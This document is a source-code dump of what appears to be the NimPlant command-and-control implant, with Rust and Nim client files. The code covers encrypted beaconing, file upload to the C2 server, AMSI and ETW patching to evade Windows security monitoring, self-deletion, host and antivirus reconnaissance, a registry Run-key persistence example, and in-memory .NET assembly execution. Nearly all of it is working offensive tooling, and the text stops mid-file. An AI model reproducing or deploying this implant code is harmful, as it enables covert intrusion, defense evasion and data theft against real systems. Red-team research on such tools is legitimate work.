encrypt_data(s: &[u8], key: &[u8]) -> String { 38 | let mut data: Vec = s.to_vec(); 39 | 40 | let random_string = random_string(16); 41 | let iv = random_string.as_bytes(); 42 | let mut ciphertext = iv.to_vec(); 43 | 44 | let mut cipher = Aes128Ctr64BE::new(key.into(), iv.into()); 45 | cipher.apply_keystream(&mut data); 46 | 47 | ciphertext.append(&mut data); 48 | 49 | STANDARD.encode(ciphertext) 50 | } 51 | 52 | pub(crate) fn decrypt_data(s: String, key: &[u8]) -> Result, Box> { 53 | if s.is_empty() { 54 | return Ok(vec![]); 55 | } 56 | 57 | let data: Vec = STANDARD.decode(s)?; 58 | 59 | let iv = &data[..16]; 60 | let encrypted = &data[16..]; 61 | let mut plaintext = encrypted.to_vec().clone(); 62 | 63 | let mut cipher = Aes128Ctr64BE::new(key.into(), iv.into()); 64 | cipher.apply_keystream(&mut plaintext); 65 | 66 | Ok(plaintext) 67 | } 68 | 69 | pub(crate) fn decrypt_string(s: String, key: &[u8]) -> Result> { 70 | let plaintext = decrypt_data(s, key)?; 71 | Ok(str::from_utf8(&plaintext)?.to_string()) 72 | } 73 | -------------------------------------------------------------------------------- /client-rs/src/app/debug.rs: -------------------------------------------------------------------------------- 1 | #[cfg(debug_assertions)] 2 | use windows_sys::Win32::System::Console::AllocConsole; 3 | 4 | // A simple macro to only print when compiled in debug mode 5 | // The debug version 6 | #[cfg(debug_assertions)] 7 | macro_rules! debug_println { 8 | ($( $args:expr ),*) => { println!( $( $args ),* ); } 9 | } 10 | 11 | // Non-debug version 12 | #[cfg(not(debug_assertions))] 13 | macro_rules! debug_println { 14 | ($( $args:expr ),*) => {} 15 | } 16 | 17 | pub(crate) use debug_println; 18 | 19 | // Function to allocate a console in debug mode only 20 | #[cfg(debug_assertions)] 21 | pub(crate) fn allocate_console_debug_only() { 22 | unsafe {AllocConsole();} 23 | } 24 | 25 | #[cfg(not(debug_assertions))] 26 | pub(crate) fn allocate_console_debug_only() {} -------------------------------------------------------------------------------- /client-rs/src/app/http.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | 3 | pub(crate) fn get_request( 4 | url: &str, 5 | identifier: Option<&str>, 6 | user_agent: &str, 7 | file_identifier: Option<&str>, 8 | ) -> Result> { 9 | let mut request = ureq::get(url).set("User-Agent", user_agent); 10 | 11 | if let Some(id) = identifier { 12 | request = request.set("X-Identifier", id); 13 | } 14 | 15 | if let Some(file_id) = file_identifier { 16 | request = request.set("X-Unique-ID", file_id); 17 | } 18 | 19 | let body = request.call()?.into_string()?; 20 | 21 | Ok(body) 22 | } 23 | 24 | pub(crate) fn post_request( 25 | url: &str, 26 | key: &str, 27 | data: &str, 28 | identifier: &str, 29 | user_agent: &str, 30 | ) -> Result> { 31 | let body: String = ureq::post(url) 32 | .set("User-Agent", user_agent) 33 | .set("Content-Type", "application/json") 34 | .set("X-Identifier", identifier) 35 | .send_string(&format!("{\""{key}"\": \""{data}"\"}"))? 36 | .into_string()?; 37 | 38 | Ok(body) 39 | } 40 | 41 | pub(crate) fn post_upload_request( 42 | url: &str, // Usually task_path + "/u" 43 | data: &str, 44 | identifier: &str, 45 | task_id: &str, 46 | user_agent: &str, 47 | ) -> Result> { 48 | let body: String = ureq::post(url) 49 | .set("User-Agent", user_agent) 50 | .set("Content-Type", "application/octet-stream") 51 | .set("X-Identifier", identifier) 52 | .set("X-Unique-ID", task_id) 53 | .send_string(data)? 54 | .into_string()?; 55 | 56 | Ok(body) 57 | } 58 | -------------------------------------------------------------------------------- /client-rs/src/app/patches.rs: -------------------------------------------------------------------------------- 1 | use crate::app::debug::debug_println; 2 | use fmtools::format; // using obfstr to obfuscate 3 | use libloading::{Library, Symbol}; 4 | use std::mem; 5 | use std::ptr; 6 | use windows_sys::Wdk::System::SystemServices::PAGE_READWRITE; 7 | use windows_sys::Win32::System::Memory::VirtualProtect; 8 | 9 | #[allow(clippy::missing_transmute_annotations)] 10 | pub(crate) fn patch_amsi() -> Result { 11 | let patch_bytes: [u8; 3] = [0x48, 0x31, 0xc0]; 12 | let amsi = Box::new(unsafe { 13 | Library::new(format!("amsi.dll")).map_err(|_| format!("Failed to load amsi.dll"))? 14 | }); 15 | // We purposely leak the handle to amsi.dll here to keep the library loaded until exit 16 | // If we don't do this, the library will be unloaded by libloading when it goes out of scope (end of function) 17 | let amsi = Box::leak(amsi); 18 | 19 | let amsi_scan_buffer: Symbol = 20 | unsafe { amsi.get(format!("AmsiScanBuffer").as_bytes()) } 21 | .map_err(|_| format!("Failed to get AmsiScanBuffer"))?; 22 | let patch_address = unsafe { mem::transmute::<_, *mut u8>(amsi_scan_buffer).offset(0x6a) }; 23 | let mut old_protect: u32 = 0; 24 | let mut current_bytes: [u8; 3] = [0; 3]; 25 | 26 | unsafe { ptr::copy_nonoverlapping(patch_address, current_bytes.as_mut_ptr(), 3) }; 27 | if current_bytes == patch_bytes { 28 | return Err(format!("AMSI already patched")); 29 | } 30 | 31 | let result = unsafe { 32 | VirtualProtect( 33 | patch_address.cast(), 34 | patch_bytes.len(), 35 | PAGE_READWRITE, 36 | &mut old_protect, 37 | ) 38 | }; 39 | if result != 0 { 40 | unsafe { ptr::copy_nonoverlapping(patch_bytes.as_ptr(), patch_address, patch_bytes.len()) }; 41 | unsafe { 42 | VirtualProtect( 43 | patch_address.cast(), 44 | patch_bytes.len(), 45 | old_protect, 46 | &mut old_protect, 47 | ) 48 | }; 49 | debug_println!("AMSI patched successfully at {:p}", patch_address); 50 | Ok(format!("AMSI patched successfully")) 51 | } else { 52 | Err(format!("Failed to patch AMSI")) 53 | } 54 | } 55 | 56 | #[allow(clippy::missing_transmute_annotations)] 57 | pub(crate) fn patch_etw() -> Result { 58 | let patch_bytes: [u8; 1] = [0xc3]; 59 | let ntdll = unsafe { 60 | Library::new(format!("ntdll.dll")).map_err(|_| format!("Failed to load ntdll.dll"))? 61 | }; 62 | let etw_event_write: Symbol = 63 | unsafe { ntdll.get(format!("EtwEventWrite").as_bytes()) } 64 | .map_err(|_| format!("Failed to get EtwEventWrite"))?; 65 | let patch_address = unsafe { mem::transmute::<_, *mut u8>(etw_event_write) }; 66 | let mut old_protect: u32 = 0; 67 | let mut current_bytes: [u8; 1] = [0]; 68 | 69 | unsafe { ptr::copy_nonoverlapping(patch_address, current_bytes.as_mut_ptr(), 1) }; 70 | if current_bytes == patch_bytes { 71 | return Err(format!("ETW already patched")); 72 | } 73 | 74 | let result = unsafe { 75 | VirtualProtect( 76 | patch_address.cast(), 77 | patch_bytes.len(), 78 | PAGE_READWRITE, 79 | &mut old_protect, 80 | ) 81 | }; 82 | if result != 0 { 83 | unsafe { ptr::copy_nonoverlapping(patch_bytes.as_ptr(), patch_address, patch_bytes.len()) }; 84 | unsafe { 85 | VirtualProtect( 86 | patch_address.cast(), 87 | patch_bytes.len(), 88 | old_protect, 89 | &mut old_protect, 90 | ) 91 | }; 92 | debug_println!("ETW patched successfully at {:p}", patch_address); 93 | Ok(format!("ETW patched successfully")) 94 | } else { 95 | Err(format!("Failed to patch ETW")) 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /client-rs/src/app/self_delete.rs: -------------------------------------------------------------------------------- 1 | // Base code adapted from RustRedOps by joaoviictorti under MIT License 2 | // https://github.com/joaoviictorti/RustRedOps/tree/main/Self_Deletion 3 | 4 | use std::{ 5 | ffi::c_void, 6 | mem::{size_of, size_of_val}, 7 | }; 8 | use windows::core::PCWSTR; 9 | use windows::Win32::{ 10 | Foundation::CloseHandle, 11 | Storage::FileSystem::{CreateFileW, SetFileInformationByHandle, FILE_RENAME_INFO}, 12 | Storage::FileSystem::{ 13 | FileDispositionInfo, FileRenameInfo, DELETE, FILE_DISPOSITION_INFO, 14 | FILE_FLAGS_AND_ATTRIBUTES, FILE_SHARE_READ, OPEN_EXISTING, SYNCHRONIZE, 15 | }, 16 | System::Memory::{GetProcessHeap, HeapAlloc, HeapFree, HEAP_ZERO_MEMORY}, 17 | }; 18 | 19 | pub(crate) fn perform() -> Result<(), Box> { 20 | let stream = ":nimpln"; 21 | let stream_wide: Vec = stream.encode_utf16().chain(std::iter::once(0)).collect(); 22 | 23 | unsafe { 24 | let mut delete_file = FILE_DISPOSITION_INFO::default(); 25 | let lenght = size_of::() + (stream_wide.len() * size_of::()); 26 | let rename_info = 27 | HeapAlloc(GetProcessHeap()?, HEAP_ZERO_MEMORY, lenght).cast::(); 28 | 29 | delete_file.DeleteFile = true.into(); 30 | (*rename_info).FileNameLength = (stream_wide.len() * size_of::()) as u32 - 2; 31 | 32 | std::ptr::copy_nonoverlapping( 33 | stream_wide.as_ptr(), 34 | (*rename_info).FileName.as_mut_ptr(), 35 | stream_wide.len(), 36 | ); 37 | 38 | let path = std::env::current_exe()?; 39 | let path_str = path.to_str().unwrap_or(""); 40 | let mut full_path: Vec = path_str.encode_utf16().collect(); 41 | full_path.push(0); 42 | 43 | let mut h_file = CreateFileW( 44 | PCWSTR(full_path.as_ptr()), 45 | DELETE.0 | SYNCHRONIZE.0, 46 | FILE_SHARE_READ, 47 | None, 48 | OPEN_EXISTING, 49 | FILE_FLAGS_AND_ATTRIBUTES(0), 50 | None, 51 | )?; 52 | 53 | SetFileInformationByHandle( 54 | h_file, 55 | FileRenameInfo, 56 | rename_info as *const c_void, 57 | lenght as u32, 58 | )?; 59 | 60 | CloseHandle(h_file)?; 61 | 62 | h_file = CreateFileW( 63 | PCWSTR(full_path.as_ptr()), 64 | DELETE.0 | SYNCHRONIZE.0, 65 | FILE_SHARE_READ, 66 | None, 67 | OPEN_EXISTING, 68 | FILE_FLAGS_AND_ATTRIBUTES(0), 69 | None, 70 | )?; 71 | 72 | SetFileInformationByHandle( 73 | h_file, 74 | FileDispositionInfo, 75 | std::ptr::from_ref::(&delete_file).cast(), 76 | size_of_val(&delete_file) as u32, 77 | )?; 78 | 79 | CloseHandle(h_file)?; 80 | 81 | HeapFree( 82 | GetProcessHeap()?, 83 | HEAP_ZERO_MEMORY, 84 | Some(rename_info as *const c_void), 85 | )?; 86 | 87 | Ok(()) 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /client-rs/src/app/win_utils.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use local_ip_address::local_ip; 3 | use std::ffi::OsString; 4 | use std::fs; 5 | use std::mem::zeroed; 6 | use std::os::windows::ffi::OsStringExt; 7 | use std::path::Path; 8 | use windows_sys::Wdk::System::SystemServices::RtlGetVersion; 9 | use windows_sys::Win32::System::SystemInformation::OSVERSIONINFOW; 10 | use windows_sys::Win32::System::WindowsProgramming::GetComputerNameW; 11 | 12 | // Function to get process ID 13 | pub(crate) fn get_process_id() -> u32 { 14 | std::process::id() 15 | } 16 | 17 | // Function to get local IP address 18 | pub(crate) fn get_local_ip() -> String { 19 | match local_ip() { 20 | Ok(ip) => ip.to_string(), 21 | Err(_) => "unknown".into(), 22 | } 23 | } 24 | 25 | // Function to get hostname 26 | pub(crate) fn get_hostname() -> String { 27 | let mut buffer: [u16; 256] = [0; 256]; 28 | let mut size: u32 = u32::try_from(buffer.len()).unwrap_or(0); 29 | 30 | unsafe { 31 | if GetComputerNameW(buffer.as_mut_ptr(), &mut size) != 0 { 32 | let os_string = OsString::from_wide(&buffer[..(size as usize)]); 33 | return os_string.into_string().unwrap_or_else(|_| "unknown".into()); 34 | } 35 | } 36 | 37 | "unknown".into() 38 | } 39 | 40 | // Function to get OS version string 41 | pub(crate) fn get_os() -> String { 42 | let mut version: OSVERSIONINFOW = unsafe { zeroed() }; 43 | 44 | unsafe { 45 | RtlGetVersion(&mut version); 46 | } 47 | 48 | format!("Windows "{version.dwMajorVersion}"."{version.dwMinorVersion}"."{version.dwBuildNumber}) 49 | } 50 | 51 | // Function to get process name 52 | pub(crate) fn get_process_name() -> String { 53 | match std::env::current_exe() { 54 | Ok(path) => match path.file_name() { 55 | Some(name) => match name.to_str() { 56 | Some(str_name) => str_name.to_string(), 57 | None => "unknown".to_string(), 58 | }, 59 | None => "unknown".to_string(), 60 | }, 61 | Err(_) => "unknown".to_string(), 62 | } 63 | } 64 | // Helper function to copy or move a directory recursively 65 | pub(crate) fn transfer_dir_to(src_dir: &Path, dst_dir: &Path, is_move: bool) -> Result<(), String> { 66 | if !dst_dir.exists() { 67 | fs::create_dir_all(dst_dir).map_err(|e| format!("Failed to create directory: "{e}))?; 68 | } 69 | 70 | let mut entries_to_remove = Vec::new(); 71 | 72 | for entry_result in src_dir 73 | .read_dir() 74 | .map_err(|e| format!("Failed to read directory: "{e}))? 75 | { 76 | let entry = entry_result.map_err(|e| format!("Failed to read directory entry: "{e}))?; 77 | let file_type = entry 78 | .file_type() 79 | .map_err(|e| format!("Failed to read file type: "{e}))?; 80 | let src_path = entry.path(); 81 | let dst_path = dst_dir.join(entry.file_name()); 82 | 83 | if file_type.is_dir() { 84 | transfer_dir_to(&src_path, &dst_path, is_move) 85 | .map_err(|e| format!("Failed to transfer directory: "{e}))?; 86 | } else { 87 | fs::copy(&src_path, &dst_path).map_err(|e| format!("Failed to copy file: "{e}))?; 88 | if is_move { 89 | entries_to_remove.push(src_path); 90 | } 91 | } 92 | 93 | } 94 | 95 | if is_move { 96 | for src_path in entries_to_remove { 97 | fs::remove_file(&src_path) 98 | .map_err(|e| format!("Failed to remove source file: "{e}))?; 99 | } 100 | fs::remove_dir(src_dir).map_err(|e| format!("Failed to remove source directory: "{e}))?; 101 | } 102 | 103 | Ok(()) 104 | } -------------------------------------------------------------------------------- /client-rs/src/lib.rs: -------------------------------------------------------------------------------- 1 | // Enable features for COFF loading 2 | #![allow(internal_features)] 3 | #![feature(c_variadic)] 4 | #![feature(core_intrinsics)] 5 | 6 | mod app; 7 | 8 | use app::debug::allocate_console_debug_only; 9 | 10 | #[no_mangle] 11 | pub extern "C" fn Update() { 12 | // Allocate a console if we're in debug mode 13 | allocate_console_debug_only(); 14 | 15 | app::main(); 16 | } 17 | -------------------------------------------------------------------------------- /client-rs/src/main.rs: -------------------------------------------------------------------------------- 1 | // Hide the console window 2 | #![windows_subsystem = "windows"] 3 | // Enable features for COFF loading 4 | #![allow(internal_features)] 5 | #![feature(c_variadic)] 6 | #![feature(core_intrinsics)] 7 | 8 | mod app; 9 | 10 | fn main() { 11 | // Allocate a console if we're in debug mode 12 | app::debug::allocate_console_debug_only(); 13 | 14 | // Self-delete the binary if the feature is enabled 15 | #[cfg(feature = "selfdelete")] 16 | if let Err(_e) = app::self_delete::perform() { 17 | app::debug::debug_println!("Failed to self-delete: {:?}", _e); 18 | }; 19 | 20 | app::main(); 21 | } 22 | -------------------------------------------------------------------------------- /client/NimPlant.nimble: -------------------------------------------------------------------------------- 1 | # Package information 2 | # NimPlant isn't really a package, Nimble is mainly used for easy dependency management 3 | version = "1.3" 4 | author = "Cas van Cooten" 5 | description = "A Nim-based, first-stage C2 implant" 6 | license = "MIT" 7 | srcDir = "." 8 | skipDirs = @["bin", "commands", "util"] 9 | 10 | # Dependencies 11 | requires "nim >= 1.6.12" 12 | requires "nimcrypto >= 0.6.0" 13 | requires "parsetoml >= 0.7.1" 14 | requires "pixie >= 5.0.6" 15 | requires "ptr_math >= 0.3.0" 16 | requires "puppy >= 2.1.0" 17 | requires "winim >= 3.9.2" 18 | requires "winregistry >= 2.0.0" -------------------------------------------------------------------------------- /client/commands/cat.nim: -------------------------------------------------------------------------------- 1 | from strutils import join 2 | import ../util/strenc 3 | 4 | # Print a file to stdout 5 | proc cat*(args : varargs[string]) : string = 6 | var file = args.join(obf(" ")) 7 | if file == "": 8 | result = obf("Invalid number of arguments received. Usage: 'cat [file]'.") 9 | else: 10 | result = readFile(file) -------------------------------------------------------------------------------- /client/commands/cd.nim: -------------------------------------------------------------------------------- 1 | from os import setCurrentDir, normalizePath 2 | from strutils import join 3 | 4 | # Change the current working directory 5 | proc cd*(args : varargs[string]) : string = 6 | var newDir = args.join(obf(" ")) 7 | if newDir == "": 8 | result = obf("Invalid number of arguments received. Usage: 'cd [directory]'.") 9 | else: 10 | setCurrentDir(newDir) 11 | result = obf("Changed working directory to '") & newDir & obf("'.") -------------------------------------------------------------------------------- /client/commands/cp.nim: -------------------------------------------------------------------------------- 1 | from ../util/winUtils import copyDir 2 | from os import dirExists, splitPath, `/` 3 | from strutils import join 4 | from winim/lean import CopyFileA, LPCSTR, FALSE, winstrConverterStringToPtrChar 5 | 6 | # Copy files or directories 7 | proc cp*(args : varargs[string]) : string = 8 | var 9 | source : string 10 | destination : string 11 | 12 | if args.len >= 2: 13 | source = args[0] 14 | destination = args[1 .. ^1].join(obf(" ")) 15 | else: 16 | result = obf("Invalid number of arguments received. Usage: 'cp [source] [destination]'.") 17 | return 18 | 19 | # Copying a directory 20 | if dirExists(source): 21 | if dirExists(destination): 22 | copyDir(source, destination/splitPath(source).tail) 23 | else: 24 | copyDir(source, destination) 25 | 26 | # Copying a file 27 | elif dirExists(destination): 28 | CopyFileA(source, destination/splitPath(source).tail, FALSE) 29 | else: 30 | CopyFileA(source, destination, FALSE) 31 | 32 | result = obf("Copied '") & source & obf("' to '") & destination & obf("'.") -------------------------------------------------------------------------------- /client/commands/curl.nim: -------------------------------------------------------------------------------- 1 | import puppy 2 | from strutils import join 3 | from ../util/webClient import Listener 4 | 5 | # Curl an HTTP webpage to stdout 6 | proc curl*(li : Listener, args : varargs[string]) : string = 7 | var 8 | output : string 9 | url = args.join(obf(" ")) 10 | if url == "": 11 | result = obf("Invalid number of arguments received. Usage: 'curl [URL]'.") 12 | else: 13 | output = fetch( 14 | url, 15 | headers = @[Header(key: obf("User-Agent"), value: li.userAgent)] 16 | ) 17 | 18 | if output == "": 19 | result = obf("No response received. Ensure you format the url correctly and that the target server exists. Example: 'curl https://google.com'.") 20 | else: 21 | result = output -------------------------------------------------------------------------------- /client/commands/download.nim: -------------------------------------------------------------------------------- 1 | import puppy, zippy 2 | from strutils import toLowerAscii 3 | from os import fileExists 4 | from ../util/webClient import Listener 5 | from ../util/crypto import encryptData 6 | 7 | # Upload a file from the C2 server to NimPlant 8 | # From NimPlant's perspective this is similar to wget, but calling to the C2 server instead 9 | proc download*(li : Listener, cmdGuid : string, args : varargs[string]) : string = 10 | var 11 | filePath : string 12 | file : string 13 | url : string 14 | res : Response 15 | 16 | if args.len == 1 and args[0] != "": 17 | filePath = args[0] 18 | else: 19 | # Handling of the first argument (filename) should be done done by the python server 20 | result = obf("Invalid number of arguments received. Usage: 'download [remote file] '.") 21 | return 22 | 23 | # Construct the URL to upload the file to 24 | url = toLowerAscii(li.listenerType) & obf("://") 25 | if li.listenerHost != "": 26 | url = url & li.listenerHost 27 | else: 28 | url = url & li.listenerIp & obf(":") & li.listenerPort 29 | url = url & li.taskpath & obf("/u") 30 | 31 | # Read the file only if it is a valid file path 32 | if fileExists(filePath): 33 | file = encryptData(compress(readFile(filePath)), li.cryptKey) 34 | else: 35 | result = obf("Path to download is not a file. Usage: 'download [remote file] '.") 36 | return 37 | 38 | # Prepare the Puppy web request 39 | let req = Request( 40 | url: parseUrl(url), 41 | verb: "post", 42 | allowAnyHttpsCertificate: true, 43 | headers: @[ 44 | Header(key: obf("User-Agent"), value: li.userAgent), 45 | Header(key: obf("X-Identifier"), value: li.id), # Nimplant ID 46 | Header(key: obf("X-Unique-ID"), value: cmdGuid) # Task GUID 47 | ], 48 | body: file 49 | ) 50 | 51 | # Get the file - Puppy will take care of transparent gzip deflation 52 | res = fetch(req) 53 | 54 | result = "" # Server will know when the file comes in successfully or an error occurred -------------------------------------------------------------------------------- /client/commands/env.nim: -------------------------------------------------------------------------------- 1 | from os import envPairs 2 | from strutils import strip, repeat 3 | 4 | # List environment variables 5 | proc env*() : string = 6 | var output: string 7 | 8 | for key, value in envPairs(): 9 | var keyPadded : string 10 | 11 | try: 12 | keyPadded = key & obf(" ").repeat(30-key.len) 13 | except: 14 | keyPadded = key 15 | 16 | output.add(keyPadded & obf("\t") & value & "\n") 17 | 18 | result = output.strip(trailing = true) -------------------------------------------------------------------------------- /client/commands/getAv.nim: -------------------------------------------------------------------------------- 1 | import winim/com 2 | from strutils import strip 3 | 4 | # Get antivirus products on the machine via WMI 5 | proc getAv*() : string = 6 | let wmisec = GetObject(obf(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\securitycenter2")) 7 | for avprod in wmisec.execQuery(obf("SELECT displayName FROM AntiVirusProduct\n")): 8 | result.add($avprod.displayName & "\n") 9 | result = result.strip(trailing = true) -------------------------------------------------------------------------------- /client/commands/getDom.nim: -------------------------------------------------------------------------------- 1 | from winim/lean import GetComputerNameEx 2 | from winim/utils import `&` 3 | import winim/inc/[windef, winbase] 4 | 5 | # Get the current domain of the computer via the GetComputerNameEx API 6 | proc getDom*() : string = 7 | var 8 | buf : array[257, TCHAR] 9 | lpBuf : LPWSTR = addr buf[0] 10 | pcbBuf : DWORD = int32(len(buf)) 11 | format : COMPUTER_NAME_FORMAT = 2 # ComputerNameDnsDomain 12 | domainJoined : bool = false 13 | 14 | discard GetComputerNameEx(format, lpBuf, &pcbBuf) 15 | for character in buf: 16 | if character == 0: break 17 | domainJoined = true 18 | result.add(char(character)) 19 | 20 | if not domainJoined: 21 | result = obf("Computer is not domain joined") -------------------------------------------------------------------------------- /client/commands/getLocalAdm.nim: -------------------------------------------------------------------------------- 1 | import winim/com 2 | import strutils 3 | 4 | # Get local administrators on the machine via WMI 5 | proc getLocalAdm*() : string = 6 | let wmi = GetObject(obf(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")) 7 | for groupMems in wmi.execQuery(obf("SELECT GroupComponent,PartComponent FROM Win32_GroupUser\n")): 8 | if obf("Administrators") in $groupMems.GroupComponent: 9 | var admin = $groupMems.PartComponent.split("\"")[^2] 10 | result.add(admin & "\n") 11 | result = result.strip(trailing = true) -------------------------------------------------------------------------------- /client/commands/ls.nim: -------------------------------------------------------------------------------- 1 | from os import getCurrentDir, getFileInfo, FileInfo, splitPath, walkDir 2 | from times import format 3 | from strutils import strip, repeat, join 4 | from math import round 5 | 6 | # List files in the target directory 7 | proc ls*(args : varargs[string]) : string = 8 | var 9 | lsPath = args.join(obf(" ")) 10 | path : string 11 | output : string 12 | output_files : string 13 | dateTimeFormat : string = obf("dd-MM-yyyy H:mm:ss") 14 | 15 | # List the current directory if no argument is given 16 | if lsPath == "": 17 | path = getCurrentDir() 18 | else: 19 | path = lsPath 20 | 21 | output = obf("Directory listing of directory '") & path & obf("'.\n\n") 22 | output.add(obf("TYPE\tNAME\t\t\t\tSIZE\t\tCREATED\t\t\tLAST WRITE\n")) 23 | 24 | for kind, itemPath in walkDir(path): 25 | var 26 | info : FileInfo 27 | name : string = splitPath(itemPath).tail 28 | namePadded : string 29 | 30 | # Get file info, if readable to us 31 | try: 32 | namePadded = name & obf(" ").repeat(30-name.len) 33 | info = getFileInfo(itemPath) 34 | except: 35 | namePadded = name 36 | continue 37 | 38 | # Print directories first, then append files 39 | if $info.kind == obf("pcDir"): 40 | output.add(obf("[DIR] \t") & name & "\n") 41 | else: 42 | output_files.add(obf("[FILE] \t") & namePadded & obf("\t") & $(round(cast[int](info.size)/1024).toInt) & obf("KB\t\t") & $(info.creationTime).format(dateTimeFormat) & 43 | obf("\t") & $(info.lastWriteTime).format(dateTimeFormat) & "\n") 44 | 45 | output.add(output_files) 46 | result = output.strip(trailing = true) -------------------------------------------------------------------------------- /client/commands/mkdir.nim: -------------------------------------------------------------------------------- 1 | from os import createDir 2 | from strutils import join 3 | 4 | # Create a new system directory, including subdirectories 5 | proc mkdir*(args : varargs[string]) : string = 6 | var path = args.join(obf(" ")) 7 | if path == "": 8 | result = obf("Invalid number of arguments received. Usage: 'mkdir [path]'.") 9 | else: 10 | createDir(path) 11 | result = obf("Created directory '") & path & obf("'.") -------------------------------------------------------------------------------- /client/commands/mv.nim: -------------------------------------------------------------------------------- 1 | from os import dirExists, moveFile, splitPath, `/` 2 | from ../util/winUtils import moveDir 3 | from strutils import join 4 | 5 | # Move a file or directory 6 | proc mv*(args : varargs[string]) : string = 7 | var 8 | source : string 9 | destination : string 10 | 11 | if args.len == 2: 12 | source = args[0] 13 | destination = args[1 .. ^1].join(obf(" ")) 14 | else: 15 | result = obf("Invalid number of arguments received. Usage: 'mv [source] [destination]'.") 16 | return 17 | 18 | # Moving a directory 19 | if dirExists(source): 20 | if dirExists(destination): 21 | moveDir(source, destination/splitPath(source).tail) 22 | else: 23 | moveDir(source, destination) 24 | 25 | # Moving a file 26 | elif dirExists(destination): 27 | moveFile(source, destination/splitPath(source).tail) 28 | else: 29 | moveFile(source, destination) 30 | 31 | result = obf("Moved '") & source & obf("' to '") & destination & obf("'.") -------------------------------------------------------------------------------- /client/commands/ps.nim: -------------------------------------------------------------------------------- 1 | from winim/lean import MAX_PATH, WCHAR, DWORD, WINBOOL, HANDLE 2 | from winim/extra import PROCESSENTRY32, PROCESSENTRY32W, CreateToolhelp32Snapshot, Process32First, Process32Next 3 | from strutils import parseInt, repeat, strip 4 | from os import getCurrentProcessId 5 | 6 | # Overload $ proc to allow string conversion of szExeFile 7 | 8 | proc `$`(a: array[MAX_PATH, WCHAR]): string = $cast[WideCString](unsafeAddr a[0]) 9 | 10 | # Get list of running processes 11 | # https://forum.nim-lang.org/t/580 12 | proc ps*(): string = 13 | var 14 | output: string 15 | processSeq: seq[PROCESSENTRY32W] 16 | processSingle: PROCESSENTRY32 17 | 18 | let 19 | hProcessSnap = CreateToolhelp32Snapshot(0x00000002, 0) 20 | 21 | processSingle.dwSize = sizeof(PROCESSENTRY32).DWORD 22 | 23 | if Process32First(hProcessSnap, processSingle.addr): 24 | while Process32Next(hProcessSnap, processSingle.addr): 25 | processSeq.add(processSingle) 26 | CloseHandle(hProcessSnap) 27 | 28 | output = obf("PID\tNAME\t\t\t\tPPID\n") 29 | for processSingle in processSeq: 30 | var 31 | procName : string = $processSingle.szExeFile 32 | procNamePadded : string 33 | 34 | try: 35 | procNamePadded = procName & obf(" ").repeat(30-procname.len) 36 | except: 37 | procNamePadded = procName 38 | 39 | output.add($processSingle.th32ProcessID & obf("\t") & procNamePadded & obf("\t") & $processSingle.th32ParentProcessID) 40 | 41 | # Add an indicator to the current process 42 | if parseInt($processSingle.th32ProcessID) == getCurrentProcessId(): 43 | output.add(obf("\t<-- YOU ARE HERE")) 44 | 45 | output.add("\n") 46 | result = output.strip(trailing = true) -------------------------------------------------------------------------------- /client/commands/pwd.nim: -------------------------------------------------------------------------------- 1 | from os import getCurrentDir 2 | 3 | # Get the current working directory 4 | proc pwd*() : string = 5 | result = getCurrentDir() -------------------------------------------------------------------------------- /client/commands/reg.nim: -------------------------------------------------------------------------------- 1 | import winregistry 2 | from strutils import join, split, startsWith, replace, toUpperAscii 3 | 4 | # Query or modify the Windows registry 5 | proc reg*(args : varargs[string]) : string = 6 | 7 | var 8 | command : string 9 | path : string 10 | key : string 11 | value : string 12 | handle : RegHandle 13 | 14 | # Parse arguments 15 | case args.len: 16 | of 2: 17 | command = args[0] 18 | path = args[1] 19 | of 3: 20 | command = args[0] 21 | path = args[1] 22 | key = args[2] 23 | of 4: 24 | command = args[0] 25 | path = args[1] 26 | key = args[2] 27 | value = args[3 .. ^1].join(obf(" ")) 28 | else: 29 | result = obf("Invalid number of arguments received. Usage: 'reg [query|add] [path] '. Example: 'reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run inconspicuous calc.exe'") 30 | return 31 | 32 | # Parse the registry path 33 | try: 34 | path = path.replace(obf("\\\\"), obf("\\")) 35 | 36 | if command == obf("query") and key == "": 37 | handle = winregistry.open(path, samRead or samQueryValue) 38 | elif command == obf("query") and key != "": 39 | handle = winregistry.open(path, samRead) 40 | elif command == obf("add"): 41 | handle = winregistry.open(path, samRead or samWrite) 42 | else: 43 | result = obf("Unknown reg command. Please use 'reg query' or 'reg add' followed by the path and value.") 44 | return 45 | except OSError: 46 | result = obf("Invalid registry path. Example path: 'HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'.") 47 | return 48 | 49 | # Query an existing registry value 50 | if command == obf("query"): 51 | if key == "": 52 | for value in handle.enumValueNames(): 53 | result.add("- " & value & obf(": ") & handle.readString(value) & "\n") 54 | else: 55 | result = handle.readString(key) 56 | 57 | # Add a value to the registry 58 | elif command == obf("add"): 59 | handle.writeString(key, value) 60 | result = obf("Successfully set registry value.") 61 | 62 | else: 63 | result = obf("Unknown reg command. Please use 'reg query' or 'reg add' followed by the path and value.") 64 | 65 | close(handle) -------------------------------------------------------------------------------- /client/commands/risky/executeAssembly.nim: -------------------------------------------------------------------------------- 1 | import winim/clr except `[]` 2 | from strutils import parseInt 3 | from zippy import uncompress 4 | import ../../util/[crypto, patches] 5 | 6 | # Execute a dotnet binary from an encrypted and compressed stream 7 | proc executeAssembly*(li : Listener, args : varargs[string]) : string = 8 | # This shouldn't happen since parameters are managed on the Python-side, but you never know 9 | if not args.len >= 2: 10 | result = obf("Invalid number of arguments received. Usage: 'execute-assembly [localfilepath] '.") 11 | return 12 | 13 | let 14 | assemblyB64: string = args[2] 15 | var 16 | amsi: bool = false 17 | etw: bool = false 18 | 19 | amsi = cast[bool](parseInt(args[0])) 20 | etw = cast[bool](parseInt(args[1])) 21 | 22 | result = obf("Executing .NET assembly from memory...\n") 23 | if amsi: 24 | var res = patchAMSI() 25 | if res == 0: 26 | result.add(obf("[+] AMSI patched!\n")) 27 | if res == 1: 28 | result.add(obf("[-] Error patching AMSI!\n")) 29 | if res == 2: 30 | result.add(obf("[+] AMSI already patched!\n")) 31 | if etw: 32 | var res = patchETW() 33 | if res == 0: 34 | result.add(obf("[+] ETW patched!\n")) 35 | if res == 1: 36 | 